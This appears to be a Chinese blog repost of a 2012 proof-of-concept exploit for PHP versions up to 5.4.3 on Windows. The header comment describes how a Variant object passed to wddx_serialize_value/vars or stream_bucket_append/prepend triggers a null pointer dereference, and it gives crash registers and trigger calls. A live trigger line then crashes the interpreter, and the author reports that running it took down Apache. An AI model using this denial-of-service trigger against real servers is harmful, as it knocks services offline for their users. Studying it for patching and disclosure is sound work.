php 空指针_PHP 5.4.3 多个空指针引用拒绝服务漏洞

<?php

/*

PHP <= 5.4.3 wddx_serialize_* / stream_bucket_* Variant Object Null Ptr Derefernce

Author : condis

Date : 10.04.2012 AD

Website : http://cond.psychodela.pl

----

Download : http://php.net/downloads.php

Tested on:

PHP 5.3.8 + Windows XP SP3 Professional PL

PHP 5.3.10 + Windows XP SP3 Professional PL

PHP 5.4.0 + Windows XP SP3 Professional PL

PHP 5.4.3 + Windows XP SP3 Professional PL

Description:

wddx_serialize_value and wddx_serialize_vars functions fails to handle Variant

object when it is given as a first argument.

Registers:

EAX 00000000

ECX 1056AAE8 php5ts.1056AAE8

EDX 100EFCE0 php5ts.100EFCE0

EBX 01032AB0

ESP 00C0FAE0

EBP 00000000

ESI 0121E478

EDI 0121CB50

EIP 1028F22E php5ts.1028F22E

Crash:

1028F22E 8A45 25 MOV AL,BYTE PTR SS:[EBP+25]

Situation looks pretty much the same for both wddx_serialize_vars and

wddx_serialize_value. Also functions stream_bucket_prepend and stream_bucket_append

have some problems with handling Variant object when given as a second argument:

stream_bucket_append(1, new Variant(1));

stream_bucket_prepend(1, new Variant(1));

PS : Variant object is only available in PHP for Windows OS and it was implemented

in PHP > 4.1.0 and PHP 5.

For more details check : http://php.net/manual/en/class.variant.php

PS2: After running this via webserver my Apache wasn't able to handle requests

anymore and I had to restart him :)

kthxbye

*/

wddx_serialize_value(new Variant(666));

?>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值